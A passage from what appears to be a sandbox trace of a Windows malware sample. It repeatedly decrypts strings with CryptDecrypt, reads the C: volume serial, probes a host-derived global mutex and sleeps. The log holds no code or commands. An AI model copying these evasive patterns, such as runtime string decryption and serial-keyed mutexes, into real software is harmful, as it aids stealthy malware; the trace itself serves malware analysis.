pbData=0x209f6ec, dwFlags=0x0) returned 1 [0037.800] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb058a0, pdwDataLen=0x209f6b8 | out: pbData=0xb058a0, pdwDataLen=0x209f6b8) returned 1 [0037.800] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0037.800] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0xb058e8 [0037.800] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x17c [0037.800] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0x0) returned 0x102 [0037.800] CloseHandle (hObject=0x17c) returned 1 [0037.801] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb058a0 | out: hHeap=0xb00000) returned 1 [0037.802] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb058e8 | out: hHeap=0xb00000) returned 1 [0037.802] Sleep (dwMilliseconds=0x3e8) [0038.983] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb058a0 [0038.983] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x73d5a8) returned 1 [0038.983] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0038.983] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb058a0, pdwDataLen=0x209f684 | out: pbData=0xb058a0, pdwDataLen=0x209f684) returned 1 [0038.983] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0038.983] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb058c8 [0038.983] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb058f0 [0038.983] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0038.983] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x73d5a8) returned 1 [0038.983] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0038.983] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0038.983] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0038.984] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0038.984] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb058c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0038.984] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb058f0 | out: hHeap=0xb00000) returned 1 [0038.985] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb058a0 | out: hHeap=0xb00000) returned 1 [0038.985] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0038.985] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb058c8 | out: hHeap=0xb00000) returned 1 [0038.985] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb058a0 [0038.985] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x73d5a8) returned 1 [0038.985] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f6ec, dwFlags=0x0) returned 1 [0038.985] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb058a0, pdwDataLen=0x209f6b8 | out: pbData=0xb058a0, pdwDataLen=0x209f6b8) returned 1 [0038.985] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0038.985] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0xb058e8 [0038.985] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x180 [0038.985] WaitForSingleObject (hHandle=0x180, dwMilliseconds=0x0) returned 0x102 [0038.985] CloseHandle (hObject=0x180) returned 1 [0038.986] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb058a0 | out: hHeap=0xb00000) returned 1 [0038.986] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb058e8 | out: hHeap=0xb00000) returned 1 [0038.986] Sleep (dwMilliseconds=0x3e8) [0040.112] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb058a0 [0040.112] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x73d5a8) returned 1 [0040.112] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0040.112] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb058a0, pdwDataLen=0x209f684 | out: pbData=0xb058a0, pdwDataLen=0x209f684) returned 1 [0040.112] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0040.112] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb058c8 [0040.112] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb058f0 [0040.112] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0040.112] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x73d5a8) returned 1 [0040.112] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0040.112] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0040.112] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0040.113] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0040.113] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb058c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0040.113] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb058f0 | out: hHeap=0xb00000) returned 1 [0040.113] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb058a0 | out: hHeap=0xb00000) returned 1 [0040.113] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0040.114] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb058c8 | out: hHeap=0xb00000) returned 1 [0040.114] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb058a0 [0040.114] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x73d5a8) returned 1 [0040.114] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f6ec, dwFlags=0x0) returned 1 [0040.114] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb058a0, pdwDataLen=0x209f6b8 | out: pbData=0xb058a0, pdwDataLen=0x209f6b8) returned 1 [0040.114] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0040.114] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0xb058e8 [0040.114] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x184 [0040.114] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x0) returned 0x102 [0040.114] CloseHandle (hObject=0x184) returned 1 [0040.114] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb058a0 | out: hHeap=0xb00000) returned 1 [0040.115] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb058e8 | out: hHeap=0xb00000) returned 1 [0040.115] Sleep (dwMilliseconds=0x3e8) [0041.168] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb05f00 [0041.168] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x73d5a8) returned 1 [0041.168] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0041.168] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0x209f684 | out: pbData=0xb05f00, pdwDataLen=0x209f684) returned 1 [0041.168] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0041.168] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb05f28 [0041.168] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0x3070f0 [0041.168] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0041.168] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x73d5a8) returned 1 [0041.168] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0041.168] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0041.168] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0041.168] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0041.168] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb05f28, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0041.168] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0041.169] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0041.169] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0041.170] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f28 | out: hHeap=0xb00000) returned 1 [0041.170] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb05f00 [0041.170] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x73d5a8) returned 1 [0041.170] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f6ec, dwFlags=0x0) returned 1 [0041.170] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0x209f6b8 | out: pbData=0xb05f00, pdwDataLen=0x209f6b8) returned 1 [0041.170] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0041.170] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0x3070f0 [0041.170] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x14c [0041.171] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x0) returned 0x102 [0041.171] CloseHandle (hObject=0x14c) returned 1 [0041.171] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0041.172] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0041.172] Sleep (dwMilliseconds=0x3e8) [0042.833] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb05f00 [0042.833] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x73d5a8) returned 1 [0042.833] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0042.833] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0x209f684 | out: pbData=0xb05f00, pdwDataLen=0x209f684) returned 1 [0042.833] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0042.833] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb05f28 [0042.833] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0x3070f0 [0042.833] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0042.833] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x73d5a8) returned 1 [0042.833] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0042.833] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0042.834] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0042.834] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0042.834] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb05f28, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0042.835] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0042.835] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0042.835] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0042.836] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f28 | out: hHeap=0xb00000) returned 1 [0042.836] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb05f00 [0042.836] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x73d5a8) returned 1 [0042.836] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f6ec, dwFlags=0x0) returned 1 [0042.836] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0x209f6b8 | out: pbData=0xb05f00, pdwDataLen=0x209f6b8) returned 1 [0042.836] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0042.836] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0x3070f0 [0042.836] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x14c [0042.837] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x0) returned 0x102 [0042.837] CloseHandle (hObject=0x14c) returned 1 [0042.837] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0042.837] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0042.838] Sleep (dwMilliseconds=0x3e8) [0044.969] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb05f00 [0044.970] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x73d5a8) returned 1 [0044.970] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0044.970] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0x209f684 | out: pbData=0xb05f00, pdwDataLen=0x209f684) returned 1 [0044.970] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0044.970] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb05f28 [0044.970] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0x3070f0 [0044.970] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0044.970] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x73d5a8) returned 1 [0044.970] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0044.970] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0044.970] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0044.971] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0044.971] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb05f28, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0044.971] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0044.972] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0044.972] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0044.972] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f28 | out: hHeap=0xb00000) returned 1 [0044.972] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb05f00 [0044.972] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x73d5a8) returned 1 [0044.972] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f6ec, dwFlags=0x0) returned 1 [0044.972] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0x209f6b8 | out: pbData=0xb05f00, pdwDataLen=0x209f6b8) returned 1 [0044.972] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0044.973] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0x3070f0 [0044.973] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x14c [0044.973] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x0) returned 0x102 [0044.973] CloseHandle (hObject=0x14c) returned 1 [0044.974] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0044.974] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0044.974] Sleep (dwMilliseconds=0x3e8) [0046.407] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb0d090 [0046.408] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x73d5a8) returned 1 [0046.408] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0046.408] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0d090, pdwDataLen=0x209f684 | out: pbData=0xb0d090, pdwDataLen=0x209f684) returned 1 [0046.408] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0046.408] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb0d0b8 [0046.408] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb0d0e0 [0046.408] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0046.408] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x73d5a8) returned 1 [0046.408] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0046.408] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0046.408] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0046.409] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0046.409] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0d0b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0046.409] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0e0 | out: hHeap=0xb00000) returned 1 [0046.409] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d090 | out: hHeap=0xb00000) returned 1 [0046.409] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.410] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0b8 | out: hHeap=0xb00000) returned 1 [0046.410] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb05f00 [0046.410] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x73d5a8) returned 1 [0046.410] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f6ec, dwFlags=0x0) returned 1 [0046.410] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0x209f6b8 | out: pbData=0xb05f00, pdwDataLen=0x209f6b8) returned 1 [0046.410] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0046.410] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0x3070f0 [0046.410] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x14c [0046.410] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x0) returned 0x102 [0046.410] CloseHandle (hObject=0x14c) returned 1 [0046.411] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0046.411] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0046.411] Sleep (dwMilliseconds=0x3e8) [0048.189] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb0d0b8 [0048.189] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x7401c0) returned 1 [0048.189] CryptSetKeyParam (hKey=0x7401c0, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0048.189] CryptDecrypt (in: hKey=0x7401c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0d0b8, pdwDataLen=0x209f684 | out: pbData=0xb0d0b8, pdwDataLen=0x209f684) returned 1 [0048.189] CryptDestroyKey (hKey=0x7401c0) returned 1 [0048.189] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb0d090 [0048.189] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb0d0e0 [0048.189] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0048.189] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x7401c0) returned 1 [0048.189] CryptSetKeyParam (hKey=0x7401c0, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0048.189] CryptDecrypt (in: hKey=0x7401c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0048.189] CryptDestroyKey (hKey=0x7401c0) returned 1 [0048.190] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0048.192] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0d090, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0048.192] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0e0 | out: hHeap=0xb00000) returned 1 [0048.193] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0b8 | out: hHeap=0xb00000) returned 1 [0048.193] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0048.194] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d090 | out: 